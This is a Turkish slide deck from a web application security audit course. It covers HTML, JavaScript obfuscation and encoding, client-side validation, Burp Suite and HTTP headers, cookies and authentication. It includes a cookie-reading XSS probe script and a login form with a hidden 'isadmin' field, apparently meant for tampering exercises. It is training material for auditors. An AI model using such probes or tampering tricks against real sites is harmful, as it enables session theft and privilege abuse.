Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu

3,353 views

Published on

Web uygulamaları dağıtım kolaylığı nedeniyle masaüstü uygulamalara üstünlük sağlamış ve geniş uygulama alanı bulmuştur. Bunun yanı sıra internete açık olan uygulamaların önemli bir kısmı da web uygulaması şeklindedir. Web uygulaması olmayan masaüstü uygulamalar ve mobil uygulamalar dahi web uygulama mimarisinin önemli bir kısmı olan HTTP protokolünü kullanmaktadır.

Bunların yanı sıra web uygulamaları çok katmanlı mimariye sahip olup, bu durum nispeten web uygulama altyapılarının sıradan masaüstü uygulamalara nazaran karmaşık olmalarına neden olmaktadır.

Tüm bu nedenlerden dolayı web uygulamaları saldırganların gözde hedeflerinden birisidir.

Web uygulama denetimi eğitiminde katılımcılara web uygulamalarında ortaya çıkabilecek açıklıkların neler olduğu, bu açıklıkları nasıl tespit edebilecekleri ve açıklıkların ortadan kaldırılma yöntemleri aktarılmaktadır.

Web uygulama denetimi eğitimi, mobil uygulama denetimi yapacak katılımcılara da gerekli temel web teknolojileri bilgilerini aktarmayı hedeflemektedir.

Published in: Technology
  • Be the first to comment

BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu

  1. 1. WEB UYGULAMA DENETİMİ EĞİTİMİ blog.btrisk.com @btrisk /btrisktv /btrisk
  2. 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  3. 3. Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz Nelerdir? TANIŞMA
  4. 4. Web Sunucusu Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular WEB UYGULAMA MİMARİSİ
  5. 5. Tarayıcı (Browser) HTML Javascript ActiveX Applet Silverlight Web Sunucusu Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular WEB UYGULAMA MİMARİSİ
  6. 6. HTML SINIF TARTIŞMASI • HTML ne işe yarar, temel özellikleri (fonksiyonları) nelerdir?
  7. 7. HTML • Temel HTML fonksiyonalitesi • Tablo içinde kayıt listeleme • Form bilgilerini sunucuya gönderme (yorum yazma, başvuruda bulunma) • Resim görüntüleme • Başka bir sayfaya link verme • Formatlı yazı görüntüleme
  8. 8. HTML • İleri HTML fonksiyonalitesi • Form alanlarına girilen verilerin validasyonu • Dinamik HTML üretme (ör: bir dropdown list’ten seçilen bir şehrin ilçelerini görüntüleme) • Görüntü (video) oynatma ve ses dinletme
  9. 9. HTML • Temel HTML doküman blokları <html> <head> ... </head> <body> ... ... </body> </html>
  10. 10. HTML <meta> <meta name="keywords" content="pentest, sızma testi"> <meta name="description" content="pentest hizmetleri"> <meta name="author" content="Burhanttin Özgenç"> <meta http-equiv="refresh" content="10;URL='http://www.btrisk.com/'">
  11. 11. HTML <a> (anchor) <a href="http://www.btrisk.com">BTRisk Web Sitesi</a>
  12. 12. HTML <img> (image) <img src="logo.gif" alt="BTRisk Logo" height="42" width="42">
  13. 13. HTML <!-- ... --> (comment) <!--Bu bir yorumdur. Yorumlar tarayıcıda görüntülenmez-->
  14. 14. HTML <form>, <input> <form action="logon.aspx" method="post"> Kullanıcı Kodu: <input type="text" name="uname"><br> Parola: <input type="password" name="pwd"><br> <input type="hidden" name="isadmin" value="false"> <input type="submit" value="Gönder"> </form>
  15. 15. HTML SINIF TARTIŞMASI • Form içeriğini sunucuya göndermeden önce bir kontrol (validasyon) yapmak isteseydik ne yapabilirdik?
  16. 16. HTML <form>, <input> (devamı) <form action="logon.aspx" onsubmit="return validateForm()" method="post"> Kullanıcı Kodu: <input type="text" name="uname"><br> Parola: <input type="password" name="pwd"><br> <input type="hidden" name="isadmin" value="false"> <input type="submit" value="Gönder"> </form>
  17. 17. HTML <iframe> <iframe src="http://blog.btrisk.com"></iframe>
  18. 18. HTML <script> <script> document.getElementById("etiket").innerHTML = "Merhaba"; </script> <script>alert(document.cookie);</script> <script src="myscripts.js"></script>
  19. 19. HTML <script> (devamı) <script type="text/javascript"> <!-- function merhaba() { alert("Merhaba"); } //--> </script> Yorum satırının burada ne işi olabilir?
  20. 20. HTML <object> <!--<object name="tstapp" classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="100" height="50"> <param name="code" value="TestApp.class"> </object>//-->
  21. 21. HTML Formatlama yöntemleri Inline styling (Inline CSS) <h1 style="color:blue">Bu mavi bir başlıktır</h1>
  22. 22. HTML Formatlama yöntemleri (devamı) Internal styling (Internal CSS) <html> <head> <style> h1 {color:blue;} </style> </head> <body> <h1>Bu bir başlıktır</h1> </body> </html>
  23. 23. HTML Formatlama yöntemleri (devamı) External styling (External CSS) <html> <head> <link rel="stylesheet" href="stiller.css"> </head> <body> <h1>Bu bir başlıktır</h1> </body> </html>
  24. 24. HTML Sayfa tasarım ve akış yöntemleri Tablo yöntemi <table style="width:100%"> <tr> <td width="70%">Ocak</td> <td width="30%">100 TL</td> </tr> <tr> <td>Şubat</td> <td>80 TL</td> </tr> </table>
  25. 25. HTML Sayfa tasarım ve akış yöntemleri Div tag’i, style ve float özellikleri <div style="width: 500px;"> <div style="float: left; width: 200px;">Sol taraf</div> <div style="float: left; width: 100px;">Orta</div> <div style="float: left; width: 200px;">Sağ taraf</div> <br style="clear: left;" /> </div>
  26. 26. HTML SINIF TARTIŞMASI • HTML’in kullandığı özel (tarayıcı için özel anlamı olan) karakterler neler olabilir?
  27. 27. HTML SINIF TARTIŞMASI • Peki bu özel karakterleri olduğu gibi görüntülemek istersek ne yapmalıyız?
  28. 28. HTML HTML Encoding " &quot; quotation mark ' &apos; apostrophe & &amp; ampersand < &lt; less than > &gt; greater than
  29. 29. HTML BİREYSEL EGZERSİZ • Tasarlayacağınız HTML sayfasının içinde bir şirket logosu görüntülensin ve bu logoya tıklandığında şirket web sitesi açılsın. • Bu egzersiz için sizinle paylaşılacak olan örnek HTML sayfasından ve internet kaynaklarından faydalanabilirsiniz.
  30. 30. Javascript SINIF TARTIŞMASI • Javascript (ve diğer scripting dilleri) tarayıcı içinde bize hangi imkanları sağlar?
  31. 31. Javascript BİREYSEL EGZERSİZ • Size sağlanacak Javascript ile yazılmış hesap makinesi kodlarına çarpma ve bölme fonksiyonalitesini de kazandırınız.
  32. 32. Javascript SINIF TARTIŞMASI • Javascript’in bize sağladığı imkanları düşündüğümüzde güvenlik veya güvenlik testleri açılarından Javascript kodlarının ne yaptığını anlamaya neden ihtiyacımız olabilir?
  33. 33. Javascript Minify (Compress) etmek x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) document.writeln("<br> x = y"); else document.writeln("<br> x != y"); x=100,y=101,document.writeln("<br> x = "+x+"<br>"),document.writeln("<br> y = "+y+"<br>"),document.writeln(x==y?"<br> x = y":"<br> x != y"); Normal Minified
  34. 34. Javascript Beautify etmek x = 100; y = 101; document.writeln("<br> x = " + x + "<br>"); document.writeln("<br> y = " + y + "<br>"); document.writeln(x == y ? "<br> x = y" : "<br> x != y"); x=100;y=101;document.writeln("<br> x = "+x+"<br>");document.writeln("<br> y = "+y+"<br>");document.writeln(x==y?"<br> x = y":"<br> x != y"); Güzelleşmiş Kod Çirkin Kod
  35. 35. Javascript Obfuscate etmek (işler çirkinleşiyor!) x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) document.writeln("<br> x = y"); else document.writeln("<br> x != y"); var _0x15ab=["x3Cx62x72x3Ex20x78x20x3Dx20","x3Cx62x72x3E", "x77x72x69x74x65x6Cx6E","x3Cx62x72x3Ex20x79x20x3Dx20","x3Cx62x72x3Ex20x78x20x3Dx20x79 ","x3Cx62x72x3Ex20x78x20x21x3Dx20x79"];x=100;y=101;document[_0x15ab[2]](_0x15ab[0]+x+_0x15ab[1]);doc ument[_0x15ab[2]](_0x15ab[3]+y+_0x15ab[1]);if(x==y){document[_0x15ab[2]](_0x15ab[4])}else {document[_0x15ab[2]](_0x15ab[5])}; Obfuscated AMA NEDEN ? Normal
  36. 36. Javascript Obfuscate etmek (işler çirkinleşiyor!) var _0x15ab=["<br> x = ","<br>", "writeln","<br> y = ","<br> x = y","<br> x != y"];x=100;y=101;document[_0x15ab[2]](_0x15ab[0]+x+_0x15ab[1]);document[_0x15ab[2]](_0x15ab[3]+y+_0x15ab[1]);if(x ==y){document[_0x15ab[2]](_0x15ab[4])}else {document[_0x15ab[2]](_0x15ab[5])}; var arr=["<br> x = ","<br>", "writeln","<br> y = ","<br> x = y","<br> x != y"]; x=100; y=101; document[arr[2]](arr[0]+x+arr[1]); document[arr[2]](arr[3]+y+arr[1]); if(x==y) { document[arr[2]](arr[4])} else { document[arr[2]](arr[5])}; 1 2
  37. 37. Javascript Obfuscate etmek (işler çirkinleşiyor!) x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) { document.writeln("<br> x = y")} else { document.writeln("<br> x != y")}; 3
  38. 38. Javascript Encode etmek (işler daha da çirkinleşiyor!) x=100; y=101; document.writeln("<br> x = "+x+"<br>"); document.writeln("<br> y = "+y+"<br>"); if(x==y) document.writeln("<br> x = y"); else document.writeln("<br> x != y"); <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3 D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7 B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%7 3%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69% 3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67 %2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28 %69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%6 4%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7 D%3C%2F%73%63%72%69%70%74%3E'));dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%26 39%2633%264Dcs%264F%2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%2 61Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dcs%264F %2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnfou/xsjufmo%2639%263 3%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%261Bfmtf%2631%261B%261%3Aepdvnfo u/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632%264E%2631z%2633%263%3A%264C%261B1')</script> Normal Encoded
  39. 39. Javascript Encode etmek (işler daha da çirkinleşiyor!) "unescape" fonksiyonu: Hex escape karakterlerini karşılık gelen karakterlere dönüştürür.
  40. 40. Javascript Encode etmek (işler daha da çirkinleşiyor!) <script language=javascript>document.write('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length- 1,1));document.write(unescape(t));}</script>'); dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F %2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%261Bepdv nfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dc s%264F%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnf ou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631% 261Bfmtf%2631%261B%261%3Aepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632 %264E%2631z%2633%263%3A%264C%261B1')</script> 1
  41. 41. Javascript Encode etmek (işler daha da çirkinleşiyor!) <script language=javascript> document.write('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length- 1,1));document.write(unescape(t));}</script>'); dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F %2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%261Bepdv nfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dcs %264F%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnfo u/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%26 1Bfmtf%2631%261B%261%3Aepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632%2 64E%2631z%2633%263%3A%264C%261B1') </script> 2
  42. 42. Javascript Encode etmek (işler daha da çirkinleşiyor!) "String.fromCharCode" fonksiyonu: Unicode karakter numarasından karaktere (ör: 65 -> 'A') dönüşümü sağlar. "String.charCodeAt" fonksiyonu: Belli bir indeksteki karakterin unicode karakter numarasını döndürür (ör: str="ASLAN"; n=str.charCodeAt(0); ise n = 65'tir)
  43. 43. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için:
  44. 44. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için:
  45. 45. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için:
  46. 46. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için: Ctrl+O ile dosya'yı açabilirsiniz.
  47. 47. Javascript Validasyon örneği (form) <form name="bizimform" action="http://www.abc.com" method="post" onsubmit="return validasyon()"> Birinci Rakam: <input name="ilkrakam" id="birincirakam" type="text"/><br/> İkinci Rakam: <input id="ikincirakam" type="text"/><br/> E-posta: <input id="eposta" type="text"/><br/> <input type="submit" value="gönder"/> </form>
  48. 48. Javascript Validasyon örneği (javascript) <script type="text/javascript"> function validasyon() { var rakam1; rakam1=document.getElementById("birincirakam").value; //document.forms["bizimform"]["ilkrakam"].value de olabilirdi if (rakam1==null || rakam1=="") { alert("Birinci rakam dolu olmalı!!"); return false; } var rakam2 = document.getElementById("ikincirakam").value; if (isNaN(rakam2)) { alert("İkinci rakam sayı olmalı!!"); return false; } ...
  49. 49. Javascript Validasyon örneği (javascript - devamı) ... var eposta; eposta=document.getElementById("eposta").value; var atpozisyon; atpozisyon=eposta.indexOf("@"); if (atpozisyon<1) { alert("Eposta içinde @ işareti yok!!"); return false; } } </script>
  50. 50. Javascript Timeout örneği <script type="text/javascript"> function bildir_kapat() { var xmlHttp = null; xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "http://www.btrisk.com/kapat.html", true ); xmlHttp.send(); window.close(); } setInterval(function() {bildir_kapat()},3000); </script>
  51. 51. Javascript Dinamik cookie üretme örneği <html> <head> <script type="text/javascript"> document.cookie = "cerez=abcd"; </script> </head> <body> <h1>Dinamik cookie örneği</h1> <a href="test.html">tıklayınız!!</a> </body> </html>
  52. 52. Javascript Kütüphane kullanım örneği (jquery) <html> <head> <script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery. validate.js" type="text/javascript"></script> </head> <body> <form id="form1" name="bizimform" action="http://www.abc.com" method="post"> Birinci Rakam: <input name="ilkrakam" id="birincirakam" type="number" required/><br/> İkinci Rakam: <input id="ikincirakam" type="text" required/><br/> E-posta: <input id="eposta" type="email" required/><br/> <input type="submit" value="gönder"/> </form> ...
  53. 53. Javascript Kütüphane kullanım örneği (devamı) ... <script> $("#form1").validate(); </script> </body> </html>
  54. 54. Applet (Örnek Applet)
  55. 55. Applet (Applet'in derlenmesi)
  56. 56. Applet (Örnek HTML)
  57. 57. Applet (Örnek HTML)
  58. 58. Applet (Decompile işlemi)
  59. 59. Applet (Java obfuscator örneği)
  60. 60. Applet (Java obfuscator örneği)
  61. 61. Web Sunucusu WEB UYGULAMA MİMARİSİ Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular TCP UDP IP SSL HTTP DNS
  62. 62. Ağ Servis Uygulamaları (Basit TCP servisi)
  63. 63. Ağ Servis Uygulamaları (Basit TCP servisi)
  64. 64. Ağ Servis Uygulamaları (Basit HTTP servisi)
  65. 65. Ağ Servis Uygulamaları (Basit HTTP Servisi)
  66. 66. Ağ Servis Uygulamaları (TCP/IP Model)
  67. 67. Ağ Servis Uygulamaları (TCP)
  68. 68. Ağ Servis Uygulamaları (TCP - HTTP)
  69. 69. Ağ Servis Uygulamaları (UDP)
  70. 70. Ağ Servis Uygulamaları (UDP-DNS)
  71. 71. Alan Adları İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi) • Hosts dosyası C:WindowsSystem32driversetchosts /etc/hosts 1
  72. 72. Alan Adları İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi) • DNS altyapısı2 (.) root edu net com org tr jp uk de Top Level Domains (TLDs) btrisk com www blog btrisk www ops www Parent Domain Sub / Child Domain Host ÜlkelerJenerik
  73. 73. Alan Adları İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi) • DNS altyapısı2 1 2 3 4 5 6 7 8 9 İstemci Root DNS .com DNS ns1.sadecehosting.com www.btrisk.com Recursive DNS DNS HTTP
  74. 74. TCP ve HTTP Servis Tespiti • Port tarama (TCP servisi açık mı?) • Uygulama tespiti (Servis HTTP protokolüne yanıt veriyor mu?) İSTEMCİ SUNUCU SYN SYN / ACK ACK TCP EL SIKIŞMA ADIMLARI
  75. 75. TCP ve HTTP Servis Tespiti
  76. 76. HTTP BİREYSEL EGZERSİZ • Burp Suite ile ilk tanışma • Kullandığınız tarayıcının proxy ayarlarını localhost:8080 olarak tanımlayınız ve Burp Suite'i başlatınız. • Tarayıcınızla herhangi bir web sitesini ziyaret ederek giden ve gelen HTTP başlıklarını inceleyiniz. • Not: Burp Suite'in Proxy tab'ında Options alt tab'ında bulunan "Intercept Server Responses" seçeneğini seçiniz.
  77. 77. HTTP Örnek İstek GET / HTTP/1.1 Host: www.btrisk.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
  78. 78. HTTP Örnek Yanıt HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 Set-Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 27 Jun 2015 12:40:34 GMT Content-Length: 25297 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html ... HTTP Yanıtı HTTP Paketinde Taşınan Veri
  79. 79. HTTP İstek Metodlarına Örnekler • GET: GET ve POST metodları en sık kullanılan metodlar olup sunucudaki kaynaklara erişmek için kullanılırlar. GET metodu ile sorgu metinleri URL içinde gönderilebilir. Bunun en önemli faydası kullanıcıların bookmark edebilmeleri ve aynı sorguyu içeren istekleri daha sonra gönderebilmelerini sağlaması ve tarayıcıda önceki sorguların “geri” tuşu ile veya tarihçeden çağrılarak aynı sayfalara ulaşabilmeleridir. Buna karşılık güvenlik açısından URL’lerin ekranda görüntüleniyor olması ve URL’in hedefine ulaşıncaya kadar ve hedef sunucu üzerinde iz kayıtlarında görülebilmesi gönderilen parametrelerin gizlilik ihtiyacı varsa sıkıntı yaratabilir. URL’de yer alan bilgiler aşağıda açıklanan “Referer” başlığında da görülmektedir. Bu nedenlerle hassas isteklerin GET ile gönderilmemesinde fayda bulunmaktadır.
  80. 80. HTTP İstek Metodlarına Örnekler (devamı) • POST: Bu metodun asli amacı bir aktiviteyi gerçekleştirmektir. Bu metodla istek parametreleri hem URL içinde hem de mesaj gövdesinde gönderilebilir. Sadece mesaj gövdesinin kullanımı yukarıda sayılan riskleri engelleyecektir. Tarayıcılar geri butonuna basıldığında POST isteğinin mesaj gövdesinde yer alan parametreleri tekrar göndermek isteyip istemedimizi sorarlar. Bunun temel nedeni bir işlemi yanlışlıkla birden fazla yapmayı engellemektir. Bu özellik ve de güvenlik gerekçeleriyle bir işlem gerçekleştirileceğinde POST metodunun kullanılması önerilir (GET metodunun yerine).
  81. 81. HTTP İstek Metodlarına Örnekler (devamı) • HEAD • TRACE • OPTIONS • PUT • DELETE • CONNECT • WebDAV uzantısı ile gelen metodlar: • COPY, MOVE, SEARCH, PROPFIND, ...
  82. 82. HTTP Yanıt Statü Kodları • 1xx: Bilgi mesajları • 2xx: Başarılı istek yanıtları • 3xx: İstemciyi başka bir kaynağa yönlendiren yanıtlar • 4xx: Bir hata barındıran isteklere karşı üretilen yanıtlar • 5xx: Sunucu tarafında istek karşılanmaya çalışılırken bir hata alındığına ilişkin yanıtlar
  83. 83. HTTP Yanıt Statü Kodlarına Örnekler • 200 Ok: İsteğin başarılı olduğu ve yanıt gövdesinde isteğin sonucu olan mesaj içeriğinin dönüldüğünü ifade eder. • 302 Found: İstemciyi geçici olarak “Location” başlığında belirtilen URL’e yönlendirmek için kullanılan statü kodudur. İstemci sonraki taleplerde orjinal URL’i kullanmaya devam etmelidir. • 401 Unauthorized: Sunucunun istemciye istenen kaynağa ulaşmak için kullanıcı credential’ları göndermesi gerektiğini söylediği statü kodudur. Yanıt mesajındaki “WWW- Authenticate” başlığı içinde sunucunun desteklediği tanılama yöntemleri belirtilir.
  84. 84. HTTP Yanıt Statü Kodlarına Örnekler (devamı) • 403 Forbidden: İstenen kaynağa kim olursa olsun (authenticate olunsa dahi) erişimin yasak olduğu anlamına gelir. • 404 Not Found: İstenen kaynağın mevcut olmadığını belirtir. • 500 Internal Service Error: Sunucu tarafından istek işlenirken bir hata oluşması durumunda gönderilen statü kodudur. Hatanın detayları yanıt mesajında belirtilebilir. • 503 Service Unavailable: Web sunucusunun çalıştığı ancak sunucu tarafından erişilen uygulamanın çalışmadığı durumlarda gönderilir.
  85. 85. HTTP Yanıt Statü Kodlarına Örnekler (devamı) • Diğer HTTP yanıtlarına örnekler: • 100 Continue • 201 Created • 301 Moved Permanently • 304 Not Modified • 400 Bad Request • 405 Method Not Allowed • 413 Request Entity Too Large • 414 Request URI Too Long
  86. 86. HTTP HTTP Başlıkları (Genel Başlıklar) • Connection: Karşı tarafa kurulan TCP bağlantısının kapatılması mı yoksa devam edecek mesajlar için açık mı tutulması gerektiğini bildirmek için kullanılır. • Content-Encoding: Mesaj gövdesinde iletilen içeriğin hangi kodlamaya sahip olduğunu belirtmek için kullanılır. Örneğin daha hızlı iletim için sıkıştırmanın kullanıldığı durumlarda bu başlık “gzip” değerini içerir. • Content-Length: Mesaj gövdesinin byte cinsinden uzunluğunu belirtir.
  87. 87. HTTP HTTP Başlıkları (Genel Başlıklar - devamı) • Content-Type: Mesaj gövdesinde iletilen içeriğin tipini belirtir. Örneğin HTML dokümanları için “text/html” değerini içerir. • Transfer-Encoding: HTTP üzerinden iletilen mesajın kullandığı kodlama tipini belirten başka bir başlıktır. Normalde “chunked” kodlamayı belirtir. Chunked kodlama eğer sunucunun üreteceği mesaj çok uzunsa bunu parçalayarak gönderebilmesini ve tüm mesajın büyüklüğünü önceden hesaplamadan mesajı göndermeye başlayabilmesini sağlar.
  88. 88. HTTP HTTP Başlıkları (İstek Başlıkları) • Accept: Sunucuya hangi tipte içeriğin istemci tarafından kabul edileceğini söyler. Örneğin imaj/resim formatları, ofis doküman formatları vb. gibi. • Accept-Encoding: Sunucuya hangi kodlama tiplerinde içeriğin istemci tarafından kabul edileceğini söyler. Örneğin “gzip” gibi. • Authorization: Built-in HTTP authentication tipleri için kullanıcı tarafından sunucuya gönderilen credential’ları içerir. Örneğin NTLM hash’i veya Base64 encoded parola gibi. • Cookie: Sunucu tarafından daha önce istemciye iletilmiş cookie’leri içerir.
  89. 89. HTTP HTTP Başlıkları (İstek Başlıkları - devamı) • Host: URL’de belirtilen host adını içerir. Bu özellikle aynı port üzerinden servis veren HTTP sunucularının ayırt edilebilmesi veya proxy sunucuların mesajları doğru sunuculara yönlendirebilmesi için önemlidir. • If-Modified-Since: Bu başlık istemci tarayıcının talep edilen kaynağa son eriştiği zamanı içerir. Eğer kaynak bu zamandan sonra değiştirilmemişse sunucu istemciye 304 statü koduyla hafızadaki (cache edilmiş) kopyayı kullanmasını söyleyebilir.
  90. 90. HTTP HTTP Başlıkları (İstek Başlıkları - devamı) • If-None-Match: Bu başlığın içinde istemci sunucu tarafından Etag başlığı içinde belli bir kaynak için bir tag göndermişse bu tag’i sunucuya geri gönderebilir. Bu şekilde sunucu kaynağın değişip değişmediğine karar vererek yanıtını dönebilir. • Referer: Mevcut talebin hangi URL’den kaynaklandığını içerir. Bu saha örneğin google’da yapılan bir arama sonrası erişimi tespit etmek ve ilgili google URL’inden hangi arama cümlesiyle ilgili siteye ulaşıldığının öğrenilebilmesi için kullanılabilir. • User-Agent: İstemci tarafından kullanılan tarayıcı hakkında bilgi içerir.
  91. 91. HTTP HTTP Başlıkları (Yanıt Başlıkları) • Server: Web sunucu yazılımı hakkında bilgi içerir (yazılım üreticisi, yazılım versiyon, eklentiler, vd.) • Set-Cookie: İstemci tarayıcıya sonraki isteklerinde geri göndermesi için gönderilen cookie’leri içerir. • WWW-Authenticate: Bu başlık 401 (unauthorized) statü kodlu yanıtların içinde sunucu tarafından desteklenen tanılama (authentication) tiplerini belirtmek için kullanılır. • Location: Bu başlık statü kodu 3 ile başlayan yeniden yönlendirme (redirection) mesajlarında yönlendirilmek istenen hedefi belirtir.
  92. 92. HTTP HTTP Başlıkları (Yanıt Başlıkları - devamı) • Cache-Control: Sunucu tarafından istemciye cache’lemeyle ilgili talimatların iletilmesi için kullanılır. Örneğin “no-cache” içeriği tarayıcının kaynağı cache’inde tutmaması talimatı anlamına gelir. • Pragma: Bu başlık da istemci tarayıcısına yönelik cache’lemeyle ilgili talimatları içerir. “no-cache” içeriği tarayıcının ilgili kaynağı cache’inde saklamaması talimatı anlamına gelir. HTTP 1.1 uyumlu olmayan sunuculara karşı hem “Cache-Control” hem de “Pragma” başlıkların gönderilmesi önerilmektedir RFC 2616 (HTTP 1.1) tarafından. Cache-Control başlığı HTTP 1.1’de tanımlanmıştır.
  93. 93. HTTP HTTP Başlıkları (Yanıt Başlıkları - devamı) • Expires: Sunucu tarafından istemci tarayıcıya gönderilen kaynağın ne zamana kadar geçerli olacağının iletilmesini sağlar. İstemci tarayıcı bu zamana kadar cache’lediği kopyayı kullanabilir. • ETag: Yukarıda da belirtildiği üzere sunucu istenen kaynağa bir tag değeri atayarak (entity tag) daha sonra istemci tarafından “If-None-Match” başlığı içinde gönderilen içeriğe göre yanıtını belirleyebilmektedir. Bu başlık içinde kaynağa atanmış tag değeri iletilir.
  94. 94. Cookie Sunucu yanıtı içindeki Set-Cookie başlığı örneği: Set-Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm; path=/; HttpOnly İstemci isteği içindeki Cookie başlığı örneği: Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm HTTP
  95. 95. HTTP Cookie Özellikleri (attributes) • expires: Cookie’nin geçerli olduğu zaman sınırını tanımlar. Bu özellik tanımlı değilse istemci’nin bilgisayarı cookie’yi diskine yazmaz ve cookie sadece mevcut tarayıcı oturumunda kullanılabilir. Ancak bu özellik ileri bir tarih olarak belirtilmişse diske yazılır ve bu tarihe kadar açılacak olan diğer tarayıcı oturumlarında da kullanılır. • domain: Cookie’nin geçerli olduğu alan adını tanımlar. Bu alan cookie’nin gönderildiği alan veya daha üst (parent) alanlardan farklı olamaz. • path: Cookie’nin geçerli olduğu dizin (path) adını içerir. • secure: Eğer bu özellik kullanılmışsa ilgili cookie sadece HTTPS isteklerinde gönderilebilir. • HttpOnly: Tüm tarayıcılar bu özelliği desteklememekle birlikte eğer bu özellik kullanılmışsa cookie değerine istemci tarafında çalışan JavaScript kodları tarafından erişilemez.
  96. 96. HTTP Kalıcı (Resident) Cookie'ler
  97. 97. HTTP SINIF TARTIŞMASI • Kalıcı cookie'ler nasıl bir risk doğurabilir?
  98. 98. HTTP Bilgisayarda veri saklayan diğer teknolojiler • Silverlight cookies • Flash cookies
  99. 99. HTTP Built-in HTTP kullanıcı tanılama yöntemleri:
  100. 100. HTTP Built-in HTTP kullanıcı tanılama yöntemleri: • Negotiate ve NTLM Authentication (Challenge-response metoduyla çalışırlar) • Digest Authentication (Parola hash'ini gönderir) • Basic Authentication (Sadece Base64 kodlayarak kullanıcı adı ve parolasını Authorize başlığı içinde iletir) • İlgili HTTP yanıt ve başlıkları: • 401 Unauthorized • WWW-Authenticate (Basic, Digest, Negotiate veya NTLM) • Authorization (Base64 kodlu erişim bilgileri)
